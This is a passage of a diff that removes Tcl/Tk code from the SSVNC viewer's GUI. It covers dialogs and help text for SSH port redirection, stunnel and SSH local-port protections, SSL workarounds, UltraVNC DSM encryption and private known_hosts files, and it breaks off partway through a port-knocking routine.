- entry .chviewer.path.e -width 40 -textvariable change_vncviewer_path
- button .chviewer.path.b -text "Browse..." -command set_viewer_path
- checkbutton .chviewer.path.r -anchor w -variable vncviewer_realvnc4 -text \
- "RealVNC 4.x"
-
- pack .chviewer.path.l -side left
- pack .chviewer.path.e -side left -expand 1 -fill x
- pack .chviewer.path.b -side left
- pack .chviewer.path.r -side left
-
- button .chviewer.cancel -text "Cancel" -command {destroy .chviewer; set change_vncviewer 0}
- bind .chviewer <Escape> {destroy .chviewer; set change_vncviewer 0}
- wm protocol .chviewer WM_DELETE_WINDOW {destroy .chviewer; set change_vncviewer 0}
- button .chviewer.done -text "Done" -command {destroy .chviewer; catch {raise .oa}}
- bind .chviewer.path.e <Return> {destroy .chviewer; catch {raise .oa}}
-
- pack .chviewer.t .chviewer.path .chviewer.cancel .chviewer.done -side top -fill x
-
- center_win .chviewer
- wm resizable .chviewer 1 0
-
- focus .chviewer.path.e
-}
-
-proc port_redir_dialog {} {
- global additional_port_redirs additional_port_redirs_list
-
- toplev .redirs
- wm title .redirs "Additional Port Redirections (via SSH)"
-
- global help_font uname
- set h 35
- if [small_height] {
- set h 27
- }
- eval text .redirs.t -width 80 -height $h $help_font
- apply_bg .redirs.t
-
- set msg {
- Specify any additional SSH port redirections you desire for the
- connection. Put as many as you want separated by spaces. These only
- apply to SSH and SSH+SSL connections, they do not apply to Pure SSL
- connections.
-
- -L port1:host:port2 will listen on port1 on the local machine (where
- you are sitting) and redirect them to port2 on
- "host". "host" is relative to the remote side
- (VNC Server). Use "localhost" for the remote
- machine itself.
-
- -R port1:host:port2 will listen on port1 on the remote machine
- (where the VNC server is running) and redirect
- them to port2 on "host". "host" is relative
- to the local side (where you are sitting).
- Use "localhost" for this machine.
-
- Perhaps you want a redir to a web server inside an intranet:
-
- -L 8001:web-int:80
-
- Or to redir a remote port to your local SSH daemon:
-
- -R 5022:localhost:22
-
- etc. There are many interesting possibilities.
-
- Sometimes, especially for Windows Shares, you cannot do a -R redir to
- localhost, but need to supply the IP address of the network interface
- (e.g. by default the Shares do not listen on localhost:139). As a
- convenience you can do something like -R 1139:IP:139 (for any port
- numbers) and the IP will be attempted to be expanded. If this fails
- for some reason you will have to use the actual numerical IP address.
-}
- .redirs.t insert end $msg
-
- frame .redirs.path
- label .redirs.path.l -text "Port Redirs:"
- entry .redirs.path.e -width 40 -textvariable additional_port_redirs_list
-
- pack .redirs.path.l -side left
- pack .redirs.path.e -side left -expand 1 -fill x
-
- button .redirs.cancel -text "Cancel" -command {set additional_port_redirs 0; destroy .redirs}
- bind .redirs <Escape> {set additional_port_redirs 0; destroy .redirs}
- wm protocol .redirs WM_DELETE_WINDOW {set additional_port_redirs 0; destroy .redirs}
- button .redirs.done -text "Done" -command {destroy .redirs}
-
- pack .redirs.t .redirs.path .redirs.cancel .redirs.done -side top -fill x
-
- center_win .redirs
- wm resizable .redirs 1 0
-
- focus .redirs.path.e
-}
-
-proc stunnel_sec_dialog {} {
- global stunnel_local_protection
-
- toplev .stlsec
- wm title .stlsec "STUNNEL Local Port Protections"
-
- global help_font uname
-
- set h 37
- if [small_height] {
- set h 26
- }
- scroll_text .stlsec.f 82 $h
-
- apply_bg .stlsec.f
-
- set msg {
- See the discussion of "Untrusted Local Users" in the main 'Help'
- panel for info about users who are able to log into the workstation
- you run SSVNC on and might try to use your encrypted tunnel to gain
- access to the remote VNC machine.
-
- On Unix, for STUNNEL SSL tunnels we provide two options as extra
- safeguards against untrusted local users. Both only apply to Unix/MacOSX.
- Note that Both options are *IGNORED* in reverse connection (Listen) mode.
-
- 1) The first one 'Use stunnel EXEC mode' (it is mutually exclusive with
- option 2). For this case the modified SSVNC Unix viewer must be
- used: it execs the stunnel program instead of connecting to it via
- TCP/IP. Thus there is no localhost listening port involved at all.
-
- This is the best solution for SSL stunnel tunnels, it works well and
- is currently enabled by default. Disable it if there are problems.
-
- 2) The second one 'Use stunnel IDENT check', uses the stunnel(8)
- 'ident = username' to use the local identd daemon (IDENT RFC 1413
- http://www.ietf.org/rfc/rfc1413.txt) to check that the locally
- connecting program (the SSVNC vncviewer) is being run by your userid.
- See the stunnel(8) man page for details.
-
- Normally the IDENT check service cannot be trusted much when used
- *remotely* (the remote host may be have installed a modified daemon).
- However when using the IDENT check service *locally* it should be
- reliable. If not, it means the local machine (where you run SSVNC)
- has already been root compromised and you have a serious problem.
-
- Enabling 'Use stunnel IDENT check' requires a working identd on the
- local machine. Often it is not installed or enabled (because it is not
- deemed to be useful, etc). identd is usually run out of the inetd(8)
- super-server. Even when installed and running it is often configured
- incorrectly. On a Debian/lenny system we actually found that the
- kernel module 'tcp_diag' needed to be loaded! ('modprobe tcp_diag')
-}
- .stlsec.f.t insert end $msg
-
- radiobutton .stlsec.ident -relief ridge -anchor w -variable stunnel_local_protection_type -value "ident" -text "Use stunnel IDENT check"
- radiobutton .stlsec.exec -relief ridge -anchor w -variable stunnel_local_protection_type -value "exec" -text "Use stunnel EXEC mode"
-
- button .stlsec.cancel -text "Cancel" -command {set stunnel_local_protection 0; destroy .stlsec}
- bind .stlsec <Escape> {set stunnel_local_protection 0; destroy .stlsec}
- wm protocol .stlsec WM_DELETE_WINDOW {set stunnel_local_protection 0; destroy .stlsec}
- button .stlsec.done -text "Done" -command {if {$stunnel_local_protection_type == "none"} {set stunnel_local_protection 0}; destroy .stlsec}
-
- pack .stlsec.f .stlsec.exec .stlsec.ident .stlsec.cancel .stlsec.done -side top -fill x
-
- center_win .stlsec
- wm resizable .stlsec 1 0
-}
-
-proc disable_ssl_workarounds_dialog {} {
- global disable_ssl_workarounds disable_ssl_workarounds_type
-
- toplev .sslwrk
- wm title .sslwrk "Disable SSL Workarounds"
-
- global help_font uname
- set h 36
- if [small_height] {
- set h 24
- }
- scroll_text .sslwrk.f 86 $h
-
- apply_bg .sslwrk.f
-
- set msg {
- Some SSL implementations are incomplete or buggy or do not work properly
- with other implementations. SSVNC uses STUNNEL for its SSL encryption,
- and STUNNEL uses the OpenSSL SSL implementation.
-
- This causes some problems with non-OpenSSL implementations on the VNC server
- side. The most noticable one is the UltraVNC Single Click III (SSL) server:
-
- http://www.uvnc.com/pchelpware/SCIII/index.html
-
- It can make a reverse connection to SSVNC via an encrypted SSL tunnel.
-
- Unfortunately, in the default operation with STUNNEL the connection will be
- dropped after 2-15 minutes due to an unexpected packet.
-
- Because of this, by default SSVNC will enable some SSL workarounds to make
- connections like these work. This is the STUNNEL 'options = ALL' setting:
- it enables a basic set of SSL workarounds.
-
- You can read all about these workarounds in the stunnel(8) manpage and the
- OpenSSL SSL_CTX_set_options(3) manpage.
-
- Why are we mentioning this? STUNNELS's 'options = ALL' lowers the SSL
- security a little bit. If you know you do not have an incompatible SSL
- implementation on the server side (e.g. any one using OpenSSL is compatible,
- x11vnc in particular), then you can regain that little bit of security by
- selecting the "Disable SSL Workarounds" option.
-
- "Disable All SSL Workarounds" selected below will do that. On the other hand,
- choose "Keep the DONT_INSERT_EMPTY_FRAGMENTS Workaround" to retain that one,
- commonly needed workaround.
-
- BTW, you can set the environment variable STUNNEL_EXTRA_OPTS_USER to add
- any lines to the STUNNEL global config that you want to. See the stunnel(8)
- man page for more details.
-}
- .sslwrk.f.t insert end $msg
-
- radiobutton .sslwrk.none -relief ridge -anchor w -variable disable_ssl_workarounds_type -value "none" -text "Disable All Workarounds"
- radiobutton .sslwrk.noempty -relief ridge -anchor w -variable disable_ssl_workarounds_type -value "noempty" -text "Keep the DONT_INSERT_EMPTY_FRAGMENTS Workaround"
-
- button .sslwrk.cancel -text "Cancel" -command {set disable_ssl_workarounds 0; destroy .sslwrk}
- bind .sslwrk <Escape> {set disable_ssl_workarounds 0; destroy .sslwrk}
- wm protocol .sslwrk WM_DELETE_WINDOW {set disable_ssl_workarounds 0; destroy .sslwrk}
- button .sslwrk.done -text "Done" -command {destroy .sslwrk}
-
- pack .sslwrk.f .sslwrk.none .sslwrk.noempty .sslwrk.cancel .sslwrk.done -side top -fill x
-
- center_win .sslwrk
- wm resizable .sslwrk 1 0
-}
-
-proc update_no_ultra_dsm {} {
- global ultra_dsm_noultra
- global ultra_dsm_type
-
- foreach b {bf des3 aes aes256 l e} {
- if {! $ultra_dsm_noultra} {
- .ultradsm.nou.$b configure -state disabled
- } else {
- .ultradsm.nou.$b configure -state normal
- }
- }
- if {! $ultra_dsm_noultra} {
- if {$ultra_dsm_type == "arc4"} {
- ;
- } elseif {$ultra_dsm_type == "aesv2"} {
- ;
- } elseif {$ultra_dsm_type == "msrc4"} {
- ;
- } elseif {$ultra_dsm_type == "msrc4_sc"} {
- ;
- } elseif {$ultra_dsm_type == "securevnc"} {
- ;
- } else {
- set ultra_dsm_type guess
- }
- catch {.ultradsm.key.securevnc configure -state normal}
- catch {.ultradsm.key.msrc4_sc configure -state normal}
- } else {
- catch {.ultradsm.key.securevnc configure -state disabled}
- catch {.ultradsm.key.msrc4_sc configure -state disabled}
- }
-}
-
-proc ultra_dsm_dialog {} {
- global ultra_dsm ultra_dsm_file ultra_dsm_type
-
- toplev .ultradsm
- wm title .ultradsm "UltraVNC DSM Encryption Plugin"
-
- global help_font
- set h 40
- if [small_height] {
- set h 22
- }
- scroll_text .ultradsm.f 85 $h
-
- set msg {
- On Unix and MacOSX with the provided SSVNC vncviewer, you can connect to an
- UltraVNC server that is using one of its DSM encryption plugins: MSRC4, ARC4,
- AESV2, and SecureVNC. More info at: http://www.uvnc.com/features/encryption.html
-
- IMPORTANT: The UltraVNC DSM MSRC4, ARC4, and AESV2 implementations contain
- unfixed errors that could allow an eavesdropper to recover the session
- key or traffic easily. They often do not provide strong encryption, but
- only provide basic obscurity instead. Do not use them with critical data.
- The newer SecureVNC Plugin does not suffer from these problems.
-
- See the bottom of this help text for how to use symmetric encryption with
- Non-UltraVNC servers (for example, x11vnc 0.9.5 or later). This mode does not
- suffer the shortcomings of the UltraVNC MSRC4, ARC4, and AESV2 implementations.
-
- You will need to specify the corresponding UltraVNC encryption key (created
- by you using an UltraVNC server or viewer). It is usually called 'rc4.key'
- (for MSRC4), 'arc4.key' (for ARC4), and 'aesv2.key' (for AESV2). Specify the
- path to it or Browse for it. Also, specify which type of plugin it is (or use
- 'guess' to have it guess via the before mentioned filenames).
-
- The choice "UVNC SC" enables a special workaround for use with UltraVNC Single
- Click and the MSRC4 plugin. It may not be needed on recent SC (e.g. from
- ~2009 and later; select "MSRC4" for these newer ones.)
-
- You can also specify pw=my-password instead of a keyfile. Use single quotes
- pw='....' if the password contains shell meta-characters `!$&*(){}[]|;<>?
-
- Use the literal string 'pw=VNCPASSWD' to have the VNC password that you
- entered into the 'VNC Password:' be used for the pw=...
-
- SSL and SSH tunnels do not apply in this mode (any settings are ignored.)
-
- Proxying works in this mode, as well as Reverse Connections (Listen)
-
- The choice "SecureVNC" refers to the SecureVNC Plugin using 128 bit AES or
- ARC4 with 2048 bit RSA key exchange described here:
-
- http://adamwalling.com/SecureVNC
-
- Note in its default mode SecureVNC is *Vulnerable* to Man-In-The-Middle attacks
- (encryption but no server authentication) so do not use it with critical data.
- In SecureVNC mode you do not need to supply a 'Ultra DSM Keyfile'. However,
- if you DO supply a keyfile filename (recommended) if that file does not exist
- you will be prompted if you want to save the UltraVNC server's RSA key in it.
- The key's MD5 checksum is displayed so that you can verify that the key is
- trusted. One way to print out the SecureVNC public key MD5 checksum is:
-
- openssl rsa -inform DER -outform DER -pubout -in ./Server_SecureVNC.pkey | dd bs=1 skip=24 | md5sum
-
- Then on subsequent connections, if you continue to specify this filename, the
- SecureVNCPlugin server's RSA key will be checked against the file's contents
- and if they differ the connection will be dropped.
-
- NOTE, However, if the SecureVNC keyfile ends in the string 'ClientAuth.pkey'
- then its contents are used for SecureVNC's normal Client Authentication dialog
- (you need to use Windows SecureVNCPlugin to generate this file on the server
- side, it is usually called "Viewer_ClientAuth.pkey", and then safely copy it
- to the viewer side.) If you want to do BOTH Client Auth and server RSA key
- storing (recommended), have the keyfile end in 'ClientAuth.pkey.rsa'; that way
- the file will be used for storing the server RSA key and then the '.rsa' is
- trimmed off and the remainder used for the SecureVNC Client Auth data filename.
-
- Note that despite its intentions, Client Authentication in the FIRST release of
- SecureVNC is still susceptible to Man-In-The-Middle attacks. Even when that
- is fixed, SecureVNC Client Authentication is still susceptible to "spoofing"
- attacks where the viewer user may be tricked into revealing his VNC or MS-Logon
- password if his connection is intercepted. It is recommended you verify and
- save the Server key (see above) in addition to using Client Authentication.
-
- UltraVNC DSM encryption modes are currently experimental because unfortunately
- the UltraVNC DSM plugin also modifies the RFB protocol(!), and so the SSVNC
- vncviewer had to be modified to support it. The tight, zlib, and some minor
- encodings currently do not work in this mode and are disabled.
-
- Note that this mode also requires the utility tool named 'ultravnc_dsm_helper'
- that should be included in your SSVNC kit.
-
- Select 'Non-Ultra DSM' to use symmetric encryption to a Non-UltraVNC server via
- a supported symmetric key cipher. x11vnc supports symmetric encryption via,
- e.g., "x11vnc -enc aesv2:./my.key". Extra ciphers are enabled for this mode
- (e.g. blowfish and 3des). 'UVNC SC' and SecureVNC do not apply in this mode.
-
- Note for the Non-Ultra DSM case it will also work with any VNC Viewer
- (i.e. selected by Options -> Advanced -> Change VNC Viewer) not only the
- supplied SSVNC vncviewer.
-
- For experts: You can also set the random salt size and initialization vector
- size in Salt,IV for example "8,16". See the x11vnc and 'ultravnc_dsm_helper
- -help' documentation for more info on this.
-}
-
- .ultradsm.f.t insert end $msg
-
- frame .ultradsm.path
- label .ultradsm.path.l -text "Ultra DSM Keyfile:"
- entry .ultradsm.path.e -width 40 -textvariable ultra_dsm_file
- button .ultradsm.path.b -text "Browse..." -command {set_ultra_dsm_file .ultradsm}
-
- pack .ultradsm.path.l -side left
- pack .ultradsm.path.e -side left -expand 1 -fill x
- pack .ultradsm.path.b -side left
-
- frame .ultradsm.key
- label .ultradsm.key.l -text "Type of Key: "
- radiobutton .ultradsm.key.guess -pady 1 -anchor w -variable ultra_dsm_type -value guess \
- -text "Guess"
- radiobutton .ultradsm.key.arc4 -pady 1 -anchor w -variable ultra_dsm_type -value arc4 \
- -text "ARC4"
-
- radiobutton .ultradsm.key.aesv2 -pady 1 -anchor w -variable ultra_dsm_type -value aesv2 \
- -text "AESV2"
-
- radiobutton .ultradsm.key.msrc4 -pady 1 -anchor w -variable ultra_dsm_type -value msrc4 \
- -text "MSRC4"
-
- radiobutton .ultradsm.key.msrc4_sc -pady 1 -anchor w -variable ultra_dsm_type -value msrc4_sc \
- -text "UVNC SC"
-
- radiobutton .ultradsm.key.securevnc -pady 1 -anchor w -variable ultra_dsm_type -value securevnc \
- -text "SecureVNC"
-
- pack .ultradsm.key.l -side left
- pack .ultradsm.key.guess -side left
- pack .ultradsm.key.arc4 -side left
- pack .ultradsm.key.aesv2 -side left
- pack .ultradsm.key.msrc4 -side left
- pack .ultradsm.key.msrc4_sc -side left
- pack .ultradsm.key.securevnc -side left
-
- frame .ultradsm.nou
- checkbutton .ultradsm.nou.cb -text "Non-Ultra DSM" -variable ultra_dsm_noultra -command update_no_ultra_dsm
- radiobutton .ultradsm.nou.bf -pady 1 -anchor w -variable ultra_dsm_type -value blowfish \
- -text "Blowfish"
-
- radiobutton .ultradsm.nou.des3 -pady 1 -anchor w -variable ultra_dsm_type -value 3des \
- -text "3DES"
-
- radiobutton .ultradsm.nou.aes -pady 1 -anchor w -variable ultra_dsm_type -value "aes-cfb" \
- -text "AES-CFB"
-
- radiobutton .ultradsm.nou.aes256 -pady 1 -anchor w -variable ultra_dsm_type -value "aes256" \
- -text "AES-256"
-
- label .ultradsm.nou.l -text " Salt,IV"
- entry .ultradsm.nou.e -width 6 -textvariable ultra_dsm_salt
-
- pack .ultradsm.nou.cb -side left
- pack .ultradsm.nou.bf -side left
- pack .ultradsm.nou.des3 -side left
- pack .ultradsm.nou.aes -side left
- pack .ultradsm.nou.aes256 -side left
- pack .ultradsm.nou.l -side left
- pack .ultradsm.nou.e -side left -expand 0
-
- update_no_ultra_dsm
-
- button .ultradsm.cancel -text "Cancel" -command {destroy .ultradsm; set ultra_dsm 0}
- bind .ultradsm <Escape> {destroy .ultradsm; set ultra_dsm 0}
- wm protocol .ultradsm WM_DELETE_WINDOW {destroy .ultradsm; set ultra_dsm 0}
- button .ultradsm.done -text "Done" -command {destroy .ultradsm; catch {raise .oa}}
- bind .ultradsm.path.e <Return> {destroy .ultradsm; catch {raise .oa}}
-
- pack .ultradsm.f .ultradsm.path .ultradsm.key .ultradsm.nou .ultradsm.cancel .ultradsm.done -side top -fill x
-
- center_win .ultradsm
- wm resizable .ultradsm 1 0
-
- focus .ultradsm.path.e
-}
-
-proc ssh_known_hosts_dialog {} {
- global ssh_known_hosts ssh_known_hosts_filename
-
- toplev .sshknownhosts
- wm title .sshknownhosts "Private SSH KnownHosts file"
-
- global help_font
- set h 31
- if [small_height] {
- set h 23
- }
- scroll_text .sshknownhosts.f 80 $h
-
- set msg {
- Private SSH KnownHosts file:
-
- On Unix in SSH mode, let the user specify a non-default
- ssh known_hosts file to be used only by the current profile.
- This is the UserKnownHostsFile ssh option and is described in the
- ssh_config(1) man page. This is useful to avoid proxy 'localhost'
- SSH key collisions.
-
- Normally one should simply let ssh use its default file
- ~/.ssh/known_hosts for tracking SSH keys. The only problem with
- that happens when multiple SSVNC connections use localhost tunnel
- port redirections. These make ssh connect to 'localhost' on some
- port (where the proxy is listening.) Then the different keys
- from the multiple ssh servers collide when ssh saves them under
- 'localhost' in ~/.ssh/known_hosts.
-
- So if you are using a proxy with SSVNC or doing a "double SSH
- gateway" your ssh will connect to a proxy port on localhost, and you
- should set a private KnownHosts file for that connection profile.
- This is secure and avoids man-in-the-middle attack (as long as
- you actually verify the initial save of the SSH key!)
-
- The default file location will be:
-
- ~/.vnc/ssh_known_hosts/profile-name.known
-
- but you can choose any place you like. It must of course be
- unique and not shared with another ssh connection otherwise they
- both may complain about the key for 'localhost' changing, etc.
-}
-
- .sshknownhosts.f.t insert end $msg
-
- frame .sshknownhosts.path
- label .sshknownhosts.path.l -text "SSH KnownHosts file:"
- entry .sshknownhosts.path.e -width 40 -textvariable ssh_known_hosts_filename
- button .sshknownhosts.path.b -text "Browse..." -command {set_ssh_known_hosts_file .sshknownhosts}
-
- pack .sshknownhosts.path.l -side left
- pack .sshknownhosts.path.e -side left -expand 1 -fill x
- pack .sshknownhosts.path.b -side left
-
- button .sshknownhosts.cancel -text "Cancel" -command {destroy .sshknownhosts; set ssh_known_hosts 0}
- bind .sshknownhosts <Escape> {destroy .sshknownhosts; set ssh_known_hosts 0}
- wm protocol .sshknownhosts WM_DELETE_WINDOW {destroy .sshknownhosts; set ssh_known_hosts 0}
- button .sshknownhosts.done -text "Done" -command {destroy .sshknownhosts; catch {raise .oa}}
- bind .sshknownhosts.path.e <Return> {destroy .sshknownhosts; catch {raise .oa}}
-
- pack .sshknownhosts.f .sshknownhosts.path .sshknownhosts.cancel .sshknownhosts.done -side top -fill x
-
- center_win .sshknownhosts
- wm resizable .sshknownhosts 1 0
-
- focus .sshknownhosts.path.e
-}
-
-proc ssh_sec_dialog {} {
- global ssh_local_protection
-
- toplev .sshsec
- wm title .sshsec "SSH Local Port Protections"
-
- global help_font
- eval text .sshsec.t -width 80 -height 28 $help_font
-
- apply_bg .sshsec.t
-
- set msg {
- See the discussion of "Untrusted Local Users" in the main 'Help'
- panel for info about users who are able to log into the workstation
- you run SSVNC on and might try to use your encrypted tunnel to gain
- access to the remote VNC machine.
-
- On Unix, for SSH tunnels we have an LD_PRELOAD hack (lim_accept.so)
- that will limit ssh from accepting any local redirection connections
- after the first one or after 35 seconds, whichever comes first.
- The first SSH port redirection connection is intended to be the one
- that tunnels your VNC Viewer to reach the remote server.
-
- You can adjust these defaults LIM_ACCEPT=1 LIM_ACCEPT_TIME=35 by
- setting those env. vars. to different values.
-
- Note that there is still a window of a few seconds the Untrusted
- Local User can try to connect before your VNC Viewer does. So this
- method is far from perfect. But once your VNC session is established,
- he should be blocked out. Test to make sure blocking is taking place.
-
- Do not use this option if you are doing SSH Service redirections
- 'Additional Port Redirections (via SSH)' that redirect a local port
- to the remote server via ssh -L.
-
- Note that if the shared object "lim_accept.so" cannot be found,
- this option has no effect. Watch the output in the terminal for
- the "SSVNC_LIM_ACCEPT_PRELOAD" setting.
-}
- .sshsec.t insert end $msg
-
- button .sshsec.cancel -text "Cancel" -command {set ssh_local_protection 0; destroy .sshsec}
- bind .sshsec <Escape> {set ssh_local_protection 0; destroy .sshsec}
- wm protocol .sshsec WM_DELETE_WINDOW {set ssh_local_protection 0; destroy .sshsec}
- button .sshsec.done -text "Done" -command {destroy .sshsec}
-
- pack .sshsec.t .sshsec.cancel .sshsec.done -side top -fill x
-
- center_win .sshsec
- wm resizable .sshsec 1 0
-}
-
-proc multilisten_dialog {} {
- global multiple_listen
-
- toplev .multil
- wm title .multil "Multiple LISTEN Connections"
-
- global help_font
- set h 36
- if [small_height] {
- set h 30
- }
- eval text .multil.t -width 84 -height $h $help_font
-
- apply_bg .multil.t
-
- set msg {
- Set this option to allow SSVNC (when in LISTEN / Reverse connections
- mode) to allow multiple VNC servers to connect at the same time and
- so display each of their desktops on your screen at the same time.
-
- This option only applies on Unix or MaOSX when using the supplied
- SSVNC vncviewer. If you specify your own VNC Viewer it has no effect.
-
- On Windows (only the stock TightVNC viewer is provided) it has no effect
- because the Windows SSVNC can ONLY do "Multiple LISTEN Connections".
- Similarly on MacOSX if the COTVNC viewer is used there is no effect.
-
- Rationale: To play it safe, the Unix vncviewer provided by SSVNC
- (ssvncviewer) only allows one LISTEN reverse connection at a time.
- This is to prohibit malicious people on the network from depositing
- as many desktops on your screen as he likes, even if you are already
- connected to VNC server you desire.
-
- For example, perhaps the malicious user could trick you into typing
- a password into the desktop he displays on your screen.
-
- This protection is not perfect, because the malicious user could
- try to reverse connect to you before the correct VNC server reverse
- connects to you. This is even more of a problem if you keep your
- SSVNC viewer in LISTEN mode but unconnected for long periods of time.
- Pay careful attention in this case if you are to supplying sensitive
- information to the remote desktop.
-
- Enable 'Multiple LISTEN Connections' if you want to disable the default
- protection in the Unix SSVNC vncviewer; i.e. allow multiple reverse
- connections simultaneously (all vnc viewers we know of do this by default)
-
- For more control, do not select 'Multiple LISTEN Connections', but
- rather set the env. var SSVNC_MULTIPLE_LISTEN=MAX:n to limit the number
- of simultaneous reverse connections to "n"
-}
- .multil.t insert end $msg
-
- button .multil.cancel -text "Cancel" -command {set multiple_listen 0; destroy .multil}
- bind .multil <Escape> {set multiple_listen 0; destroy .multil}
- wm protocol .multil WM_DELETE_WINDOW {set multiple_listen 0; destroy .multil}
- button .multil.done -text "Done" -command {destroy .multil}
-
- pack .multil.t .multil.cancel .multil.done -side top -fill x
-
- center_win .multil
- wm resizable .multil 1 0
-}
-
-proc use_grab_dialog {} {
- global usg_grab
-
- toplev .usegrb
- wm title .usegrb "Use XGrabServer (for fullscreen)"
-
- global help_font
- eval text .usegrb.t -width 85 -height 29 $help_font
-
- apply_bg .usegrb.t
-
- set msg {
- On Unix, some Window managers and some Desktops make it difficult for the
- SSVNC Unix VNC viewer to go into full screen mode (F9) and/or return.
-
- Sometimes one can go into full screen mode, but then your keystrokes or
- Mouse actions do not get through. This can leave you trapped because you
- cannot inject input (F9 again) to get out of full screen mode. (Tip:
- press Ctrl-Alt-F2 for a console login shell; then kill your vncviewer
- process, e.g. pkill vncviewer; then Alt-F7 to get back to your desktop)
-
- We have seen this in some very old Window managers (e.g. fvwm2 circa
- 1998) and some very new Desktops (e.g. GNOME circa 2008). We try
- to work around the problem on recent desktops by using the NEW_WM
- interface, but if you use Fullscreen, you may need to use this option.
-
- The default for the SSVNC Unix VNC viewer is '-grabkbd' mode where it will
- try to exclusively grab the keyboard. This often works correctly.
-
- However if Fullscreen is not working properly, try setting this
- 'Use XGrabServer' option to enable '-graball' mode where it tries to grab
- the entire X server. This usually works, but can be a bit flakey.
-
- Sometimes toggling F9 a few times gets lets the vncviewer fill the whole
- screen. Sometimes tapping F9 very quickly gets it to snap in. If GNOME
- (or whatever desktop) is still showing its taskbars, it is recommended
- you toggle F9 until it isn't. Otherwise, it is not clear who gets the input.
-
- Best of luck.
-}
- .usegrb.t insert end $msg
-
- button .usegrb.cancel -text "Cancel" -command {set use_grab 0; destroy .usegrb}
- bind .usegrb <Escape> {set use_grab 0; destroy .usegrb}
- wm protocol .usegrb WM_DELETE_WINDOW {set use_grab 0; destroy .usegrb}
- button .usegrb.done -text "Done" -command {destroy .usegrb}
-
- pack .usegrb.t .usegrb.cancel .usegrb.done -side top -fill x
-
- center_win .usegrb
- wm resizable .usegrb 1 0
-}
-
-
-proc find_netcat {} {
- global is_windows
-
- set nc ""
-
- if {! $is_windows} {
- set nc [in_path "netcat"]
- if {$nc == ""} {
- set nc [in_path "nc"]
- }
- } else {
- set try "netcat.exe"
- if [file exists $try] {
- set nc $try
- }
- }
- return $nc
-}
-
-proc pk_expand {cmd host} {
- global tcl_platform
- set secs [clock seconds]
- set msecs [clock clicks -milliseconds]
- set user $tcl_platform(user)
- if [regexp {%IP} $cmd] {
- set ip [guess_ip]
- if {$ip == ""} {
- set ip "unknown"
- }
- regsub -all {%IP} $cmd $ip cmd
- }
- if [regexp {%NAT} $cmd] {
- set ip [guess_nat_ip]
- regsub -all {%NAT} $cmd $ip cmd
- }
- regsub -all {%HOST} $cmd $host cmd
- regsub -all {%USER} $cmd $user cmd
- regsub -all {%SECS} $cmd $secs cmd
- regsub -all {%MSECS} $cmd $msecs cmd
-
- return $cmd
-}
-
-proc backtick_expand {str} {
- set str0 $str
- set collect ""
- set count 0
- while {[regexp {^(.*)`([^`]+)`(.*)$} $str mv p1 cmd p2]} {
- set out [eval exec $cmd]
- set str "$p1$out$p2"
- incr count
- if {$count > 10} {
- break
- }
- }
- return $str
-}
-
-proc read_from_pad {file} {
- set fh ""
- if {[catch {set fh [open $file "r"]}] != 0} {
- return "FAIL"
- }
-
- set accum ""
- set match ""
- while {[gets $fh line] > -1} {
- if [regexp {^[ \t]*#} $line] {
- append accum "$line\n"
- } elseif [regexp {^[ \t]*$} $line] {
- append accum "$line\n"
- } elseif {$match == ""} {
- set match $line
- append accum "# $line\n"
- } else {
- append accum "$line\n"
- }
- }
-
- close $fh
-
- if {$match == ""} {
- return "FAIL"
- }
-
- if {[catch {set fh [open $file "w"]}] != 0} {
- return "FAIL"
- }
-
- puts -nonewline $fh $accum
-
- return $match
-}
-
-proc do_port_knock {hp mode} {
- global use_port_knocking port_knocking_list
- global is_windows
-
- if {! $use_port_knocking} {
- return 1
- }
- if {$port_knocking_list == ""} {
- return 1
- }
- set list $port_knocking_list
-
- if {$mode == "finish"} {
- if {! [regexp {FINISH} $list]} {
- mesg "PortKnock(finish): done"
- return 1
- } else {
- regsub {^.*FINISH} $list "" list
- }
- } elseif {$mode == "start"} {
- if {[regexp {FINISH} $list]} {
- regsub {FINISH.*$} $list "" list
- }
- }
-
- set default_delay 150
-
- set host [string trim $hp]
- # XXX host_part
- regsub {^vnc://} $host "" host
- regsub {^.*@} $host "" host
- regsub {:[0-9][0-9]*$} $host "" host
- set host0 [string trim $host]
-
- if {$host0 == ""} {
- bell
- mesg "PortKnock: No host: $hp"
- return 0
- }
-
- set m ""
-
- if [regexp {PAD=([^\n]+)} $list mv padfile] {
- set tlist [read_from_pad $padfile]
- set tlist [string trim $tlist]
- if {$tlist == "" || $tlist == "FAIL"} {
- raise .
- tk_messageBox -type ok -icon error \
- -message "Failed to read entry from $padfile" \
- -title "Error: Padfile $padfile"
- return 0
- }
- regsub -all {PAD=([^\n]+)} $list $tlist list
- }
-
- set spl ",\n\r"
- if [regexp {CMD=} $list] {set spl "\n\r"}
- if [regexp {CMDX=} $list] {set spl "\n\r"}
- if [regexp {SEND=} $list] {set spl "\n\r"}
- if [regexp {SENDX=} $list] {set spl "\n\r"}
-
- set i 0
- set pi 0
-
- foreach line [split $list $spl] {
- set line [string trim $line]
- set line0 $line
-
- if {$line == ""} {
- continue
- }
- if [regexp {^#} $line] {
- continue
- }
-
- if [regexp {^sleep[ \t][ \t]*([0-9][0-9]*)} $line mv sl] {
- set m "PortKnock: sleep $sl"
- mesg $m
- after $sl
- continue
- }
- if [regexp {^delay[ \t][ \t]*([0-9][0-9]*)} $line mv sl] {
- set m "PortKnock: delay=$sl"
- mesg $m
- set default_delay $sl
- continue
- }
-
- if [regexp {^CMD=(.*)} $line mv cmd] {
- set m "PortKnock: CMD: $cmd"
- mesg $m
- eval exec $cmd
- continue
- }
- if [regexp {^CMDX=(.*)} $line mv cmd] {
- set cmd [pk_expand $cmd $host0]
- set m "PortKnock: CMDX: $cmd"
- mesg $m
- eval exec $cmd
- continue
- }
-
- if [regexp {`} $line] {
- #set line [backtick_expand $line]
- }
-
- set snd ""
- if [regexp {^(.*)SEND=(.*)$} $line mv line snd] {
- set line [string trim $line]
- set snd [string trim $snd]
- regsub -all {%NEWLINE} $snd "\n" snd
- } elseif [regexp {^(.*)SENDX=(.*)$} $line mv line snd] {
- set line [string trim $line]
- set snd [string trim $snd]
- set snd [pk_expand $snd $host0]
- regsub -all {%NEWLINE} $snd "\n" snd
- }
-
- set udp 0
- if [regexp -nocase {[/:]udp} $line] {
- set udp 1
- regsub -all -nocase {[/:]udp} $line " " line
- set line [string trim $line]
- }
- regsub -all -nocase {[/:]tcp} $line " " line
- set line [string trim $line]
-
- set delay 0
- if [regexp {^(.*)[ \t][ \t]*([0-9][0-9]*)$} $line mv first delay] {
- set line [string trim $first]
- }
-
- if {[regexp {^(.*):([0-9][0-9]*)$} $line mv host port]} {
- ;
- } else {
- set host $host0
- set port $line
- }
- set host [string trim $host]
- set port [string trim $port]
-
- if {$host == ""} {
- set host $host0
